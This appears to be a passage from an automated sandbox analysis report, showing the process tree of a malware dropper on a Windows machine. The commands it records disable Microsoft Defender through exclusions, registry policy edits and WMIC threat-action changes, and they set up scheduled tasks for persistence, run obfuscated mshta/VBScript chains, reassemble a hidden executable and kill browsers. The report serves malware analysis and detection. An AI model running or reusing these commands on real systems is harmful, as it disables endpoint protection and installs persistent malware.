- Suspicious use of WriteProcessMemory
PID:1388

C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
"C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1120

C:\Users\Admin\AppData\Local\Temp\7zS06476843\setup_install.exe
"C:\Users\Admin\AppData\Local\Temp\7zS06476843\setup_install.exe"
3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1668

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
4⤵
PID:628

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2000

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri1034cd265b5e0adcd.exe
4⤵
- Loads dropped DLL
PID:1696

C:\Users\Admin\AppData\Local\Temp\7zS06476843\Fri1034cd265b5e0adcd.exe
Fri1034cd265b5e0adcd.exe
5⤵
- Executes dropped EXE
- Loads dropped DLL
PID:908

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" vbSCRiPt: cloSe(cReATEOBJecT ("WScRIPt.SHelL" ).RUn ("C:\Windows\system32\cmd.exe /c copY /Y ""C:\Users\Admin\AppData\Local\Temp\7zS06476843\Fri1034cd265b5e0adcd.exe"" SkVPVS3t6Y8W.EXe && STart SkVPVs3t6Y8W.exE /phmOv~geMVZhd~P51OGqJQYYUK & iF """" == """" for %U In ( ""C:\Users\Admin\AppData\Local\Temp\7zS06476843\Fri1034cd265b5e0adcd.exe"" ) do taskkill -F -Im ""%~nXU"" ", 0, trUE) )
6⤵
PID:1556

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c copY /Y "C:\Users\Admin\AppData\Local\Temp\7zS06476843\Fri1034cd265b5e0adcd.exe" SkVPVS3t6Y8W.EXe &&STart SkVPVs3t6Y8W.exE /phmOv~geMVZhd~P51OGqJQYYUK & iF ""== "" for %U In ( "C:\Users\Admin\AppData\Local\Temp\7zS06476843\Fri1034cd265b5e0adcd.exe" ) do taskkill -F -Im "%~nXU"
7⤵
- Loads dropped DLL
PID:2120

C:\Users\Admin\AppData\Local\Temp\SkVPVS3t6Y8W.EXe
SkVPVs3t6Y8W.exE /phmOv~geMVZhd~P51OGqJQYYUK
8⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2224

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" vbSCRiPt: cloSe(cReATEOBJecT ("WScRIPt.SHelL" ).RUn ("C:\Windows\system32\cmd.exe /c copY /Y ""C:\Users\Admin\AppData\Local\Temp\SkVPVS3t6Y8W.EXe"" SkVPVS3t6Y8W.EXe && STart SkVPVs3t6Y8W.exE /phmOv~geMVZhd~P51OGqJQYYUK & iF ""/phmOv~geMVZhd~P51OGqJQYYUK "" == """" for %U In ( ""C:\Users\Admin\AppData\Local\Temp\SkVPVS3t6Y8W.EXe"" ) do taskkill -F -Im ""%~nXU"" ", 0, trUE) )
9⤵
PID:2308

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c copY /Y "C:\Users\Admin\AppData\Local\Temp\SkVPVS3t6Y8W.EXe" SkVPVS3t6Y8W.EXe &&STart SkVPVs3t6Y8W.exE /phmOv~geMVZhd~P51OGqJQYYUK & iF "/phmOv~geMVZhd~P51OGqJQYYUK "== "" for %U In ( "C:\Users\Admin\AppData\Local\Temp\SkVPVS3t6Y8W.EXe" ) do taskkill -F -Im "%~nXU"
10⤵
PID:2380

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" vBsCRipT:CloSE ( CReaTEoBJEct ( "WSCRIPT.SHElL" ). rUn("cMd /q /C eCHo | SET /P = ""MZ"" > yW7bB.DeE &COpy /Y /b YW7bB.DEe + YLRXm6O.QZ + 3UII17.UI + EZZS.MDf + Uts09Z.AiZ + JNYESn.Co FUEJ5.QM & StARt control .\FUEj5.QM " , 0 , tRuE ) )
9⤵
PID:2688

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /q /C eCHo | SET /P = "MZ" > yW7bB.DeE &COpy /Y /b YW7bB.DEe + YLRXm6O.QZ+ 3UII17.UI + EZZS.MDf + Uts09Z.AiZ + JNYESn.Co FUEJ5.QM& StARt control .\FUEj5.QM
10⤵
PID:2780

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" SET /P = "MZ" 1>yW7bB.DeE"
11⤵
PID:2860

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" eCHo "
11⤵
PID:2840

C:\Windows\SysWOW64\control.exe
control .\FUEj5.QM
11⤵
PID:2904

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL .\FUEj5.QM
12⤵
- Loads dropped DLL
PID:2956

C:\Windows\system32\RunDll32.exe
C:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL .\FUEj5.QM
13⤵
PID:2484

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 .\FUEj5.QM
14⤵
PID:2728

C:\Windows\SysWOW64\taskkill.exe
taskkill -F -Im "Fri1034cd265b5e0adcd.exe"
8⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2248

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri10584c049c7f.exe
4⤵
- Loads dropped DLL
PID:1684

C:\Users\Admin\AppData\Local\Temp\7zS06476843\Fri10584c049c7f.exe
Fri10584c049c7f.exe
5⤵
- Executes dropped EXE
- Checks computer location settings
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
PID:1616

C:\Users\Admin\Documents\8aHv9YCN8yRBLtLyqnlnoMAh.exe
"C:\Users\Admin\Documents\8aHv9YCN8yRBLtLyqnlnoMAh.exe"
6⤵
- Executes dropped EXE
PID:2344

C:\Users\Admin\Documents\ZQEESN9s4OzJWNV1MfjqnNdw.exe
"C:\Users\Admin\Documents\ZQEESN9s4OzJWNV1MfjqnNdw.exe"
6⤵
- Executes dropped EXE
PID:1596

C:\Windows\SysWOW64\schtasks.exe
schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST
7⤵
- Creates scheduled task(s)
PID:2940

C:\Windows\SysWOW64\schtasks.exe
schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST
7⤵
- Executes dropped EXE
- Creates scheduled task(s)
- Suspicious use of AdjustPrivilegeToken
PID:2896

C:\Users\Admin\Documents\ort3DXxPpCUQULr3iXyGmkO1.exe
"C:\Users\Admin\Documents\ort3DXxPpCUQULr3iXyGmkO1.exe"
6⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:2228

C:\Users\Admin\Documents\4IuC2A2PaioJkSQtU1LVIJMN.exe
"C:\Users\Admin\Documents\4IuC2A2PaioJkSQtU1LVIJMN.exe"
6⤵
PID:3036

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /im "4IuC2A2PaioJkSQtU1LVIJMN.exe" /f & erase "C:\Users\Admin\Documents\4IuC2A2PaioJkSQtU1LVIJMN.exe" & exit
7⤵
PID:3452

C:\Windows\SysWOW64\taskkill.exe
taskkill /im "4IuC2A2PaioJkSQtU1LVIJMN.exe" /f
8⤵
- Kills process with taskkill
PID:2448

C:\Users\Admin\Documents\VjfIXE6d5KS2g_TazOFWstIO.exe
"C:\Users\Admin\Documents\VjfIXE6d5KS2g_TazOFWstIO.exe"
6⤵
- Executes dropped EXE
PID:1572

C:\Users\Admin\AppData\Local\Temp\7zSF18E.tmp\Install.exe
.\Install.exe
7⤵
- Executes dropped EXE
PID:3296

C:\Users\Admin\AppData\Local\Temp\7zS21E1.tmp\Install.exe
.\Install.exe /S /site_id "394347"
8⤵
- Executes dropped EXE
PID:3036

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True" &
9⤵
PID:3172

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True"
10⤵
PID:2364

C:\Windows\SysWOW64\cmd.exe
/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True
11⤵
PID:3240

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True
12⤵
PID:2384

C:\Windows\SysWOW64\Wbem\WMIC.exe
"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True
13⤵
PID:2784

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True"
10⤵
PID:4668

C:\Windows\SysWOW64\cmd.exe
/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True
11⤵
PID:4768

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True
12⤵
PID:2428

C:\Windows\SysWOW64\Wbem\WMIC.exe
"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True
13⤵
PID:3452

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m where.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True"
10⤵
PID:1416

C:\Windows\SysWOW64\cmd.exe
/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True
11⤵
PID:4936

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True
12⤵
PID:2876

C:\Windows\SysWOW64\Wbem\WMIC.exe
"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True
13⤵
PID:5032

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True"
10⤵
PID:4788

C:\Windows\SysWOW64\cmd.exe
/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True
11⤵
PID:4308

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True
12⤵
PID:4020

C:\Windows\SysWOW64\Wbem\WMIC.exe
"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True
13⤵
PID:5032

C:\Windows\SysWOW64\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
9⤵
PID:2292

C:\Windows\SysWOW64\cmd.exe
/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
10⤵
PID:2740

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
11⤵
PID:4088

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
11⤵
PID:3860

C:\Windows\SysWOW64\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
9⤵
PID:2932

C:\Windows\SysWOW64\cmd.exe
/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
10⤵
PID:1844

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
11⤵
PID:740

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
11⤵
PID:1728

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "gzwkiMMyz" /SC once /ST 07:30:38 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
9⤵
- Creates scheduled task(s)
PID:1072

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "gzwkiMMyz"
9⤵
PID:4636

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "gzwkiMMyz"
9⤵
PID:4360

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "bvmcjEjDUxHOOxIZsK" /SC once /ST 18:14:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\prNnatYmCsQFEeCzn\OFTJvYQhcKRKyYZ\eSqcfxF.exe\" uG /site_id 394347 /S" /V1 /F
9⤵
- Creates scheduled task(s)
PID:2436

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "bvmcjEjDUxHOOxIZsK"
9⤵
PID:3712

C:\Users\Admin\Documents\sYKKuXURUffvy9N3SB_6z5Dp.exe
"C:\Users\Admin\Documents\sYKKuXURUffvy9N3SB_6z5Dp.exe"
6⤵
- Executes dropped EXE
PID:2572

C:\Users\Admin\Documents\sYKKuXURUffvy9N3SB_6z5Dp.exe
"C:\Users\Admin\Documents\sYKKuXURUffvy9N3SB_6z5Dp.exe"
7⤵
PID:2444

C:\Users\Admin\Documents\eHqfZYhm6gSpFC0Zv0Hx_Hmd.exe
"C:\Users\Admin\Documents\eHqfZYhm6gSpFC0Zv0Hx_Hmd.exe"
6⤵
- Executes dropped EXE
PID:2304

C:\Users\Admin\Documents\Kq9OFTPo1yERyr6aSGvSw799.exe
"C:\Users\Admin\Documents\Kq9OFTPo1yERyr6aSGvSw799.exe"
6⤵
- Executes dropped EXE
PID:368

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 368 -s 268
7⤵
- Program crash
PID:1748

C:\Users\Admin\Documents\z7C76xDOr0SZG_cjCQa_SdAM.exe
"C:\Users\Admin\Documents\z7C76xDOr0SZG_cjCQa_SdAM.exe"
6⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2232

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c taskkill /f /im chrome.exe
7⤵
PID:3740

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im chrome.exe
8⤵
- Kills process with taskkill
PID:1124

C:\Users\Admin\Documents\Bw0CXO6kcgqMsEdLh81NaEZw.exe
"C:\Users\Admin\Documents\Bw0CXO6kcgqMsEdLh81NaEZw.exe"
6⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2716

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2716 -s 876
7⤵
- Program crash
PID:616

C:\Users\Admin\Documents\ezGGOO7X3D1Bf0C1NbwV_lwF.exe
"C:\Users\Admin\Documents\ezGGOO7X3D1Bf0C1NbwV_lwF.exe"
6⤵
- Executes dropped EXE
PID:2548

C:\Users\Admin\Documents\62jy_DrVcBaZ3ACw2AUqzbYF.exe
"C:\Users\Admin\Documents\62jy_DrVcBaZ3ACw2AUqzbYF.exe"
6⤵
- Executes dropped EXE
PID:3104

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe"
7⤵
PID:4508

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe"
8⤵
PID:4264

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4264.0.956257361\1359267583" -parentBuildID 20200403170909 -prefsHandle 996 -prefMapHandle 988 -prefsLen 1 -prefMapSize 219586 -appdir "C:\Program Files\Mozilla Firefox\browser" - 4264 "\\.\pipe\gecko-crash-server-pipe.4264" 1300 gpu
9⤵
PID:1676

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4264.3.64757211\915789740" -childID 1 -isForBrowser -prefsHandle 2016 -prefMapHandle 2012 -prefsLen 122 -prefMapSize 219586 -parentBuildID 20200403170909 -appdir "C:\Program Files\Mozilla Firefox\browser" - 4264 "\\.\pipe\gecko-crash-server-pipe.4264" 2028 tab
9⤵
PID:852

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4264.13.1688365539\1288269085" -childID 2 -isForBrowser -prefsHandle 2728 -prefMapHandle 2724 -prefsLen 7372 -prefMapSize 219586 -parentBuildID 20200403170909 -appdir "C:\Program Files\Mozilla Firefox\browser" - 4264 "\\.\pipe\gecko-crash-server-pipe.4264" 2740 tab
9⤵
PID:800

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4264.20.658404750\2033140655" -childID 3 -isForBrowser -prefsHandle 3036 -prefMapHandle 3476 -prefsLen 9063 -prefMapSize 219586 -parentBuildID 20200403170909 -appdir "C:\Program Files\Mozilla Firefox\browser" - 4264 "\\.\pipe\gecko-crash-server-pipe.4264" 3140 tab
9⤵
PID:4296

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe"
7⤵
PID:2540

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0xc0,0xc4,0xc8,0x94,0xcc,0x7fee2754f50,0x7fee2754f60,0x7fee2754f70
8⤵
PID:2292

C:\Windows\SysWOW64\cmd.exe
"cmd.exe" /C taskkill /F /PID 3104 && choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\Documents\62jy_DrVcBaZ3ACw2AUqzbYF.exe"
7⤵
PID:3704

C:\Windows\SysWOW64\cmd.exe
"cmd.exe" /C taskkill /F /PID 3104 && choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\Documents\62jy_DrVcBaZ3ACw2AUqzbYF.exe"
7⤵
PID:4824

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /PID 3104
8⤵
- Kills process with taskkill
PID:3804

C:\Users\Admin\Documents\kgn8rJOyNehR3DXmm2ighL5m.exe
"C:\Users\Admin\Documents\kgn8rJOyNehR3DXmm2ighL5m.exe"
6⤵
PID:3096

C:\Users\Admin\AppData\Local\Temp\Java.exe
C:\Users\Admin\AppData\Local\Temp\Java.exe
7⤵
PID:3320

C:\Windows\System32\conhost.exe
"C:\Windows\System32\\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\Java.exe"
8⤵
PID:3576

C:\Windows\System32\cmd.exe
"cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
9⤵
PID:4948

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
10⤵
PID:2276

C:\Windows\System32\cmd.exe
"cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services32" /tr "C:\Windows\system32\services32.exe"
9⤵
PID:4908

C:\Windows\system32\schtasks.exe
schtasks /create /f /sc onlogon /rl highest /tn "services32" /tr "C:\Windows\system32\services32.exe"
10⤵
- Creates scheduled task(s)
PID:2448

C:\Windows\System32\cmd.exe
"cmd" cmd /c "C:\Windows\system32\services32.exe"
9⤵
PID:3316

C:\Windows\system32\services32.exe
C:\Windows\system32\services32.exe
10⤵
PID:3756

C:\Windows\System32\conhost.exe
"C:\Windows\System32\\conhost.exe" "C:\Windows\system32\services32.exe"
11⤵
PID:3456

C:\Windows\System32\cmd.exe
"cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
12⤵
PID:3400

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
13⤵
PID:3000

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
13⤵
PID:2104

C:\Windows\system32\Microsoft\Telemetry\sihost32.exe
"C:\Windows\system32\Microsoft\Telemetry\sihost32.exe"
12⤵
PID:1684

C:\Windows\System32\conhost.exe
"C:\Windows\System32\\conhost.exe" "/sihost32"
13⤵
PID:3604

C:\Users\Admin\AppData\Local\Temp\Launcher.exe
C:\Users\Admin\AppData\Local\Temp\Launcher.exe
7⤵
PID:3328

C:\Windows\System32\conhost.exe
"C:\Windows\System32\\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\Launcher.exe"
8⤵
PID:1928

C:\Windows\System32\cmd.exe
"cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
9⤵
PID:4960

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
10⤵
PID:5016

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
10⤵
PID:4968

C:\Windows\System32\cmd.exe
"cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Windows\system32\services64.exe"
9⤵
PID:1508

C:\Windows\system32\schtasks.exe
schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Windows\system32\services64.exe"
10⤵
- Creates scheduled task(s)
PID:2476

C:\Windows\System32\cmd.exe
"cmd" cmd /c "C:\Windows\system32\services64.exe"
9⤵
PID:4788

C:\Windows\system32\services64.exe
C:\Windows\system32\services64.exe
10⤵
PID:4792

C:\Windows\System32\conhost.exe
"C:\Windows\System32\\conhost.exe" "C:\Windows\system32\services64.exe"
11⤵
PID:3956

C:\Windows\System32\cmd.exe
"cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
12⤵
PID:3604

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
13⤵
PID:5024

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
13⤵
PID:4908

C:\Windows\System32\conhost.exe
